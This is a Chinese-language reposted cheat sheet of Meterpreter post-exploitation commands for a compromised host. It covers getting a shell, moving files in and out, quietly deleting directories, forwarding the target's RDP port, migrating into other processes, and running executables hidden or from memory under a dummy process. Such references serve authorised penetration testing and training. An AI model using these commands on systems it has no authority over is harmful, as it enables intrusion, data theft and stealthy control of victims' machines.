Meterpreter常用命令介绍

来源:互联网 发布:js编辑器 编辑:程序博客网 时间:2024/05/22 05:30

基本命令

1.background:将meterpreter终端隐藏在后台(快捷键ctrl+z) 2.sessions:查看已经成功获得的会话,如果想继续与某会话交互,可以使用sessions -i 命令. 3.quit:直接关闭当前的meterpreter会话,返回MSF终端. 4.shell:获取目标系统的控制台shell. 5.irb:在meterpreter会话与ruby终端交互. 


文件系统命令

1.cat:查看文件内容. 2.getwd:获得目标机器上当前的工作目录,getlwd,这个命令可以获得当前系统的工作目录. 3.upload:可以上传文件或文件夹到目标机器上;upload 要上传的文件 C:\Users\buzz\Desktop 4.download:从目标机器上下载文件或文件夹,注意windows路径要用双斜杠进行转义. download C:\\test.txt /root/home/test 5. edit:调用vi编辑器,对目标机器上的文件进行编辑;edit c:\\windows\\system32\\drivers\\etc\\hosts 6. search:可通过search -h查看帮助信息,参数-d指定搜索的起始目录或驱动,如果为空,将进行全盘搜索;参数-f指定搜索的文件或部分文件名,支持星号(*)匹配;参数-r递归搜索子目录.search -d c:\\windows -f *.txt 7.rm:删除目标机器的文件. 8.rmdir /s/q c:\\test:进入shell后使用此命令可以删除目录下的所有文件和文件夹,/s表示所有子目录和文件/q表示安静模式,不显示yes or no.


网络命令

1.ipconfig:查看目标机器网络接口信息 2.portfwd:它是meterpreter自带的端口转发器,用于把目标机器的端口转发到本地端口;假设目标机开放了3389端口,使用如下命令将其转发到本地3456端口:portfwd add -l 3456 -p 3389 -r 192.168.88.110 3.rdesktop -u 用户名 -p 密码 ip:端口  连接开启远程桌面的windows系统. 4.route:显示目标机器的路由信息.


系统命令

1.ps:用于获得目标主机上正在运行的进程信息. 2.migrate pid:将Meterpreter会话从一个进程迁移到另一个进程的内存空间中,可以配合ps -ef |grep explorer.exe 3.execute:在目标机器上执行文件.    execute -H -i -f cmd.exe 直接与cmd进行交互.  参数-H 表示隐藏执行 -i 表示直接与cmd交互.另外execute命令的-m参数支持直接从内存中执行攻击者的可执行文件.    execute -H -m -d regedit.exe -f hidden_shell.exe具体参数介绍:Executes a command on the remote machine.OPTIONS:    -H        Create the process hidden from view.    -a <opt>  The arguments to pass to the command.    -c        Channelized I/O (required for interaction).    -d <opt>  The 'dummy' executable to launch when using -m.    -f <opt>  The executable command to run.    -h        Help menu.    -i        Interact with the process after creating it.    -k        Execute process on the meterpreters current desktop    -m        Execute from memory.    -s <opt>  Execute process in a given session as the session user    -t        Execute process with currently impersonated thread token 4.getpid:获得当前会话所在进程的PID值. 5.kill:用于终结指定的PID进程. 6.getuid:用于获得运行meterpreter会话的用户名,从而查看当前会话具有的权限. 7.sysinfo:用于得到目标系统的一些信息,例如机器名,操作系统等. 8.shutdown:用于关闭机器,meterpreter会话会断开.